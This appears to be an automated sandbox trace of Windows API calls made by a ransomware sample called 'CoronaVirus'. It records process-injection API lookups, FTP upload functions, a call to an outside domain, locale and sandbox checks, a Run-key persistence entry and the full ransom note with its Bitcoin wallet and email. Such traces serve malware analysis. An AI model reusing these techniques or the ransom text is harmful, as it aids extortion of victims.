	[0103.143] VirtualProtect (in: lpAddress=0x2aa000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.143] VirtualProtect (in: lpAddress=0x2ab000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.144] VirtualProtect (in: lpAddress=0x2ac000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.144] VirtualProtect (in: lpAddress=0x2ad000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.144] VirtualProtect (in: lpAddress=0x2ae000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.144] VirtualProtect (in: lpAddress=0x2af000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.144] VirtualProtect (in: lpAddress=0x2b0000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.145] VirtualProtect (in: lpAddress=0x2b1000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.145] VirtualProtect (in: lpAddress=0x2b2000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.145] VirtualProtect (in: lpAddress=0x2b3000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.145] VirtualProtect (in: lpAddress=0x2b4000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.145] VirtualProtect (in: lpAddress=0x2b5000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.146] VirtualProtect (in: lpAddress=0x2b6000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.146] VirtualProtect (in: lpAddress=0x2b7000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.146] VirtualProtect (in: lpAddress=0x2b8000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.146] VirtualProtect (in: lpAddress=0x2b9000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.146] VirtualProtect (in: lpAddress=0x2ba000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.152] VirtualProtect (in: lpAddress=0x2a0000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0xdef390 | out: lpflOldProtect=0xdef390*=0x40) returned 1
	[0103.152] VirtualProtect (in: lpAddress=0x2a1000, dwSize=0x15a60, flNewProtect=0x20, lpflOldProtect=0xdef390 | out: lpflOldProtect=0xdef390*=0x40) returned 1
	[0103.153] VirtualProtect (in: lpAddress=0x2b7000, dwSize=0x27ec, flNewProtect=0x4, lpflOldProtect=0xdef390 | out: lpflOldProtect=0xdef390*=0x40) returned 1
	[0103.153] VirtualProtect (in: lpAddress=0x2ba000, dwSize=0xb12, flNewProtect=0x2, lpflOldProtect=0xdef390 | out: lpflOldProtect=0xdef390*=0x40) returned 1
	[0103.191] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x730a0000
	[0103.192] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x73980000
	[0103.233] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x754f0000
	[0103.234] LoadLibraryA (lpLibFileName="user32.dll") returned 0x750c0000
	[0103.234] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75760000
	[0103.234] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x756e0000
	[0103.234] LoadLibraryA (lpLibFileName="dnsapi.dll") returned 0x73740000
	[0103.250] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x73960000
	[0103.250] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x74910000
	[0103.250] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x740e0000
	[0103.250] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x77440000
	[0103.250] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x753c0000
	[0103.250] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76ba0000
	[0103.250] LoadLibraryA (lpLibFileName="userenv.dll") returned 0x72710000
	[0103.251] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73f80000
	[0103.254] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x74df0000
	[0103.255] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x737c0000
	[0103.274] LoadLibraryA (lpLibFileName="SAMCLI") returned 0x73720000
	[0103.349] LoadLibraryA (lpLibFileName="NETUTILS") returned 0x73710000
	[0103.420] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x74940000
	[0103.420] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x74940000
	[0103.420] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x74940000
	[0103.421] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x74940000
	[0103.421] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x74940000
	[0103.421] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x74940000
	[0103.421] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xdef3c8 | out: TokenHandle=0xdef3c8*=0x3a0) returned 1
	[0103.421] GetTokenInformation (in: TokenHandle=0x3a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xdef3cc | out: TokenInformation=0x0, ReturnLength=0xdef3cc) returned 0
	[0103.421] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x18) returned 0x37b958
	[0103.422] GetTokenInformation (in: TokenHandle=0x3a0, TokenInformationClass=0x19, TokenInformation=0x37b958, TokenInformationLength=0x14, ReturnLength=0xdef3cc | out: TokenInformation=0x37b958, ReturnLength=0xdef3cc) returned 1
	[0103.422] GetSidSubAuthorityCount (pSid=0x37b960*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x37b961
	[0103.422] GetSidSubAuthority (pSid=0x37b960*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x37b968
	[0103.422] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37b958 | out: hHeap=0x360000) returned 1
	[0103.422] CloseHandle (hObject=0x3a0) returned 1
	[0103.422] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdeef18 | out: lpWSAData=0xdeef18) returned 0
	[0103.425] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x28) returned 0x3d7550
	[0103.426] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz", dwUrlLength=0x11, dwFlags=0x0, lpUrlComponents=0xdee268 | out: lpUrlComponents=0xdee268) returned 1
	[0103.430] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1a) returned 0x3dcf18
	[0103.430] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x8) returned 0x38fbe8
	[0103.430] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) 

Thread:
	id = 22
	os_tid = 0x2bc


Thread:
	id = 23
	os_tid = 0x738


Thread:
	id = 383
	os_tid = 0x1654


Thread:
	id = 662
	os_tid = 0x1ac0


Thread:
	id = 665
	os_tid = 0x1ae4


Process:
	id = "4"
	image_name = "7120.tmp.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\7120.tmp.exe"
	page_root = "0x14f7a000"
	os_pid = "0x394"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x118c"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 24
	os_tid = 0xc2c

	[0066.327] _alloca_probe () returned 0x4052ea
	[0066.334] RtlCreateHeap (Flags=0x0, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x0, Lock=0x0, Parameters=0x0) returned 0x880000
	[0066.336] GetProcessHeap () returned 0x590000
	[0066.336] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x9, Size=0x104) returned 0x59f3d8
	[0066.336] GetProcessHeap () returned 0x590000
	[0066.336] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x9, Size=0x104) returned 0x59e2d0
	[0066.336] mbstowcs (in: _Dest=0x59f3d8, _Source="CoronaVirus", _MaxCount=0x1000 | out: _Dest="CoronaVirus") returned 0xb
	[0066.336] GetCurrentProcess () returned 0xffffffff
	[0066.336] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff64, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff64, ReturnLength=0x0) returned 0x0
	[0066.338] RtlGetCurrentPeb () returned 0x3c4000
	[0066.338] CsrGetProcessId () returned 0x1e4
	[0066.338] NtOpenProcess (in: ProcessHandle=0x19ff5c, DesiredAccess=0x1f0fff, ObjectAttributes=0x0, ClientId=0x19ff54*(UniqueProcess=0x1e4, UniqueThread=0x0) | out: ProcessHandle=0x19ff5c*=0x0) returned 0xc0000005
	[0066.338] LoadLibraryA (lpLibFileName="user32") returned 0x750c0000
	[0066.603] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000
	[0066.644] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x754f0000
	[0066.731] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x71f80000
	[0067.138] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000
	[0067.138] LoadLibraryA (lpLibFileName="msvcrt") returned 0x77640000
	[0067.138] GetProcAddress (hModule=0x77640000, lpProcName="free") returned 0x77687070
	[0067.138] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualAllocEx") returned 0x772e6990
	[0067.139] GetProcAddress (hModule=0x772d0000, lpProcName="WriteProcessMemory") returned 0x772e6b70
	[0067.139] GetProcAddress (hModule=0x772d0000, lpProcName="QueueUserAPC") returned 0x772e5de0
	[0067.139] GetProcAddress (hModule=0x772d0000, lpProcName="ResumeThread") returned 0x772e6380
	[0067.139] GetProcAddress (hModule=0x750c0000, lpProcName="GetShellWindow") returned 0x750f1150
	[0067.139] GetProcAddress (hModule=0x750c0000, lpProcName="SetForegroundWindow") returned 0x750e2900
	[0067.139] GetProcAddress (hModule=0x750c0000, lpProcName="MessageBoxA") returned 0x7512d740
	[0067.139] GetProcAddress (hModule=0x750c0000, lpProcName="GetActiveWindow") returned 0x750e05d0
	[0067.139] GetProcAddress (hModule=0x754f0000, lpProcName="WSAStartup") returned 0x754f5b40
	[0067.140] GetProcAddress (hModule=0x754f0000, lpProcName="connect") returned 0x754f5410
	[0067.140] GetProcAddress (hModule=0x754f0000, lpProcName="socket") returned 0x75504510
	[0067.140] GetProcAddress (hModule=0x754f0000, lpProcName="gethostbyname") returned 0x75526cb0
	[0067.140] GetProcAddress (hModule=0x754f0000, lpProcName="send") returned 0x754f5030
	[0067.140] GetProcAddress (hModule=0x754f0000, lpProcName="closesocket") returned 0x75500910
	[0067.140] GetProcAddress (hModule=0x754f0000, lpProcName="htons") returned 0x75508ff0
	[0067.140] GetProcAddress (hModule=0x71f80000, lpProcName="WNetEnumResourceW") returned 0x71f82410
	[0067.140] GetProcAddress (hModule=0x71f80000, lpProcName="WNetOpenEnumW") returned 0x71f82790
	[0067.140] GetProcAddress (hModule=0x71f80000, lpProcName="WNetCloseEnum") returned 0x71f82640
	[0067.140] GetProcAddress (hModule=0x75760000, lpProcName="ShellExecuteExW") returned 0x758c4730
	[0067.141] GetProcAddress (hModule=0x75760000, lpProcName="CommandLineToArgvW") returned 0x758bcc20
	[0067.141] mbstowcs (in: _Dest=0x59f3d8, _Source="open", _MaxCount=0x1000 | out: _Dest="open") returned 0x4
	[0067.141] mbstowcs (in: _Dest=0x59f3d8, _Source="runas", _MaxCount=0x1000 | out: _Dest="runas") returned 0x5
	[0067.141] LoadLibraryA (lpLibFileName="wInINeT.dll") returned 0x730a0000
	[0067.145] GetProcAddress (hModule=0x730a0000, lpProcName="InternetOpenA") returned 0x731bf1a0
	[0067.145] GetProcAddress (hModule=0x730a0000, lpProcName="InternetConnectA") returned 0x7329e5b0
	[0067.145] GetProcAddress (hModule=0x730a0000, lpProcName="FtpPutFileW") returned 0x732afce0
	[0067.145] GetProcAddress (hModule=0x730a0000, lpProcName="InternetCloseHandle") returned 0x731ad000
	[0067.145] GetProcAddress (hModule=0x730a0000, lpProcName="FtpCreateDirectoryA") returned 0x732ac230
	[0067.145] GetProcAddress (hModule=0x730a0000, lpProcName="FtpSetCurrentDirectoryA") returned 0x732acdc0
	[0067.145] mbstowcs (in: _Dest=0x59f3d8, _Source="/upload", _MaxCount=0x1000 | out: _Dest="/upload") returned 0x7
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExW") returned 0x756ff530
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegCloseKey") returned 0x756fed60
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="GetCurrentHwProfileW") returned 0x756f2620
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="GetUserNameA") returned 0x75702180
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegOpenKeyExA") returned 0x756ff210
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegCreateKeyExA") returned 0x756ff560
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExW") returned 0x756fe5a0
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegQueryValueExA") returned 0x756ff020
	[0067.146] GetProcAddress (hModule=0x756e0000, lpProcName="RegSetValueExA") returned 0x756fffc0
	[0067.146] GetProcAddress (hModule=0x77640000, lpProcName="malloc") returned 0x77687230
	[0067.147] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe\" "
	[0067.147] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe\" ", pNumArgs=0x19ff60 | out: pNumArgs=0x19ff60) returned 0x5a0070*="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe"
	[0067.147] GetCurrentHwProfileW (in: lpHwProfileInfo=0x415ce0 | out: lpHwProfileInfo=0x415ce0) returned 1
	[0067.148] sprintf (in: _Dest=0x192ca8, _Format="\\\\.\\PhysicalDrive%d" | out: _Dest="\\\\.\\PhysicalDrive0") returned 18
	[0067.148] CreateFileA (lpFileName="\\\\.\\PhysicalDrive0" (normalized: "\\device\\harddisk0\\dr0"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0067.148] DeviceIoControl (in: hDevice=0x1fc, dwIoControlCode=0x2d1400, lpInBuffer=0x192dac*, nInBufferSize=0xc, lpOutBuffer=0x192db8, nOutBufferSize=0x8, lpBytesReturned=0x192dc0, lpOverlapped=0x0 | out: lpInBuffer=0x192dac*, lpOutBuffer=0x192db8*, lpBytesReturned=0x192dc0*=0x8, lpOverlapped=0x0) returned 1
	[0067.148] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x8, Size=0x18c) returned 0x8804a0
	[0067.148] DeviceIoControl (in: hDevice=0x1fc, dwIoControlCode=0x2d1400, lpInBuffer=0x192dac*, nInBufferSize=0xc, lpOutBuffer=0x8804a0, nOutBufferSize=0x18c, lpBytesReturned=0x192dc0, lpOverlapped=0x0 | out: lpInBuffer=0x192dac*, lpOutBuffer=0x8804a0*, lpBytesReturned=0x192dc0*=0x18c, lpOverlapped=0x0) returned 1
	[0067.148] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x8, Size=0x400) returned 0x880638
	[0067.148] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8804a0 | out: hHeap=0x880000) returned 1
	[0067.148] CloseHandle (hObject=0x1fc) returned 1
	[0067.148] sprintf (in: _Dest=0x192ca8, _Format="\\\\.\\PhysicalDrive%d" | out: _Dest="\\\\.\\PhysicalDrive1") returned 18
	[0067.154] CreateFileA (lpFileName="\\\\.\\PhysicalDrive1" (normalized: "physicaldrive1"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0067.154] GetLastError () returned 0x2
	[0067.154] wcstombs (in: _Dest=0x19fef8, _Source="{fae9929d-933c-11e7-a51d-806e6f6e6963}", _MaxCount=0x4e | out: _Dest="{fae9929d-933c-11e7-a51d-806e6f6e6963}") returned 0x26
	[0067.154] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000
	[0067.155] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Init") returned 0x779da890
	[0067.155] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Update") returned 0x779d5d90
	[0067.155] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Final") returned 0x779d5cf0
	[0067.155] MD5Init () returned 0x192d48
	[0067.155] MD5Update () returned 0x192d60
	[0067.155] MD5Final () returned 0x0
	[0067.155] mbstowcs (in: _Dest=0x415f88, _Source="0E49A740B97D599F65DA582ACEC4991B", _MaxCount=0x9c | out: _Dest="0E49A740B97D599F65DA582ACEC4991B") returned 0x20
	[0067.155] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe", lpszShortPath=0x413ce0, cchBuffer=0x2000 | out: lpszShortPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE") returned 0x2c
	[0067.155] GetTempPathW (in: nBufferLength=0x1000, lpBuffer=0x40ad40 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23
	[0067.156] LoadLibraryA (lpLibFileName="setupapi") returned 0x744f0000
	[0067.697] GetProcAddress (hModule=0x744f0000, lpProcName="IsUserAdmin") returned 0x74595ba0
	[0067.698] IsUserAdmin () returned 0x1
	[0067.698] RtlGetNtVersionNumbers () returned 0xf0003ad7
	[0067.698] GetProcAddress (hModule=0x772d0000, lpProcName="IsWow64Process") returned 0x772e5a20
	[0067.698] GetCurrentProcess () returned 0xffffffff
	[0067.698] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x41837c | out: Wow64Process=0x41837c) returned 1
	[0067.698] GetComputerNameA (in: lpBuffer=0x418381, nSize=0x192dc4 | out: lpBuffer="NQDPDE", nSize=0x192dc4) returned 1
	[0067.699] GetUserNameA (in: lpBuffer=0x4183c1, pcbBuffer=0x192dc4 | out: lpBuffer="FD1HVy", pcbBuffer=0x192dc4) returned 1
	[0067.703] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x418409, nSize=0x1000 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7120.tmp.exe")) returned 0x2c
	[0067.703] GetSystemDefaultLCID () returned 0x409
	[0067.703] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8
	[0067.703] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x8, Size=0x9) returned 0x8804a0
	[0067.704] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x8804a0, cchData=8 | out: lpLCData="English") returned 8
	[0067.704] _strcmpi (_Str1="English", _Str2="Russian") returned -1
	[0067.704] GetModuleHandleA (lpModuleName="sbiedll.dll") returned 0x0
	[0067.704] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x9, Size=0x4e20) returned 0x880a40
	[0067.704] GetProcAddress (hModule=0x77970000, lpProcName="RtlDecompressBuffer") returned 0x779e1bc0
	[0067.704] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x880a40, UncompressedBufferSize=0x323, CompressedBuffer=0x40a3da, CompressedBufferSize=0x25a, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x880a40, FinalUncompressedSize=0x192d5c) returned 0x0
	[0067.705] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x9, Size=0x85c) returned 0x885868
	[0067.705] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x885868, UncompressedBufferSize=0x42e, CompressedBuffer=0x40a634, CompressedBufferSize=0x3d4, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x885868, FinalUncompressedSize=0x192d5c) returned 0x0
	[0067.705] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x9, Size=0x36) returned 0x8804b8
	[0067.705] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x8804b8, UncompressedBufferSize=0x1b, CompressedBuffer=0x40aa08, CompressedBufferSize=0x21, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x8804b8, FinalUncompressedSize=0x192d5c) returned 0x0
	[0067.705] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_ARCHITECTURE%", lpDst=0x192578, nSize=0x104 | out: lpDst="x86") returned 0x4
	[0067.705] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_IDENTIFIER%", lpDst=0x192988, nSize=0x104 | out: lpDst="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel") returned 0x33
	[0067.705] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_LEVEL%", lpDst=0x192b90, nSize=0x104 | out: lpDst="6") returned 0x2
	[0067.705] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_REVISION%", lpDst=0x192780, nSize=0x104 | out: lpDst="5504") returned 0x5
	[0067.705] sprintf (in: _Dest=0x192d98, _Format="%s%s%s%s" | out: _Dest="xI65") returned 4
	[0067.705] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000
	[0067.705] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Init") returned 0x779da890
	[0067.705] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Update") returned 0x779d5d90
	[0067.705] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Final") returned 0x779d5cf0
	[0067.705] MD5Init () returned 0x1924f8
	[0067.705] MD5Update () returned 0x192510
	[0067.705] MD5Final () returned 0x0
	[0067.705] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="ADB30A2AD9591DD667796100DD07A7A7", ulOptions=0x0, samDesired=0x1, phkResult=0x192dc4 | out: phkResult=0x192dc4*=0x0) returned 0x2
	[0067.706] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="ADB30A2AD9591DD667796100DD07A7A7", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x192dc4, lpdwDisposition=0x0 | out: phkResult=0x192dc4*=0x22c, lpdwDisposition=0x0) returned 0x0
	[0067.706] HeapFree (in: hHeap=0x880000, dwFlags=0x1, lpMem=0x8804b8 | out: hHeap=0x880000) returned 0
	[0067.706] HeapFree (in: hHeap=0x880000, dwFlags=0x1, lpMem=0x885868 | out: hHeap=0x880000) returned 1
	[0067.706] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x9, Size=0x4e20) returned 0x885868
	[0067.706] sprintf (in: _Dest=0x885868, _Format="                         CORONAVIRUS is there\r\n                      All your file are crypted. \r\n         Your computer is temporarily blocked on several levels.\r\n          Applying strong military secret encryption algorithm.\r\n\r\nTo assist in decrypting your files, you must do the following:\r\n1. Pay %s btc to Bitcoin wallet %s  \r\nor purchase the receipt Bitcoin;\r\n2. Contact us by e-mail: %s and tell us this your \r\nunique ID: %s\r\nand send the link to Bitcoin transaction generated or Bitcoin check number.\r\nAfter all this, you get in your email the following:\r\n1. Instructions and software to unlock your computer\r\n2. Program - decryptor of your files.\r\nDonations to the US presidential elections are accepted around the clock.\r\nDesine sperare qui hic intras! [Wait to payment timeout 25 - 40 min]\r\n" | out: _Dest="                         CORONAVIRUS is there\r\n                      All your file are crypted. \r\n         Your computer is temporarily blocked on several levels.\r\n          Applying strong military secret encryption algorithm.\r\n\r\nTo assist in decrypting your files, you must do the following:\r\n1. Pay 0.008 btc to Bitcoin wallet bc1q6ryyex33jxgr946u3jyre66uey07e2xy3v2cah  \r\nor purchase the receipt Bitcoin;\r\n2. Contact us by e-mail: coronaVi2022@protonmail.ch and tell us this your \r\nunique ID: 0E49A740B97D599F65DA582ACEC4991B\r\nand send the link to Bitcoin transaction generated or Bitcoin check number.\r\nAfter all this, you get in your email the following:\r\n1. Instructions and software to unlock your computer\r\n2. Program - decryptor of your files.\r\nDonations to the US presidential elections are accepted around the clock.\r\nDesine sperare qui hic intras! [Wait to payment timeout 25 - 40 min]\r\n") returned 900
	[0067.706] HeapFree (in: hHeap=0x880000, dwFlags=0x1, lpMem=0x880a40 | out: hHeap=0x880000) returned 1
	[0067.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x230
	[0067.708] WriteFile (in: hFile=0x230, lpBuffer=0x885868*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x192564, lpOverlapped=0x0 | out: lpBuffer=0x885868*, lpNumberOfBytesWritten=0x192564*=0x384, lpOverlapped=0x0) returned 1
	[0067.709] FlushFileBuffers (hFile=0x230) returned 1
	[0067.711] CloseHandle (hObject=0x230) returned 1
	[0067.712] RegSetValueExA (in: hKey=0x22c, lpValueName="E-mail", Reserved=0x0, dwType=0x1, lpData="coronaVi2022@protonmail.ch", cbData=0x30 | out: lpData="coronaVi2022@protonmail.ch") returned 0x0
	[0067.712] RegSetValueExA (in: hKey=0x22c, lpValueName="BTC", Reserved=0x0, dwType=0x1, lpData="bc1q6ryyex33jxgr946u3jyre66uey07e2xy3v2cah", cbData=0x30 | out: lpData="bc1q6ryyex33jxgr946u3jyre66uey07e2xy3v2cah") returned 0x0
	[0067.712] RegCloseKey (hKey=0x22c) returned 0x0
	[0067.712] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19256c, lpdwDisposition=0x0 | out: phkResult=0x19256c*=0x22c, lpdwDisposition=0x0) returned 0x0
	[0067.712] GetProcessHeap () returned 0x590000
	[0067.712] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x12) returned 0x5a4fa0
	[0067.712] RegSetValueExW (in: hKey=0x22c, lpValueName="mtptp", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt", cbData=0x64 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt") returned 0x0
	[0067.712] RegCloseKey (hKey=0x22c) returned 0x0
	[0067.713] GetProcessHeap () returned 0x590000
	[0067.713] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x12) returned 0x5a4fc0
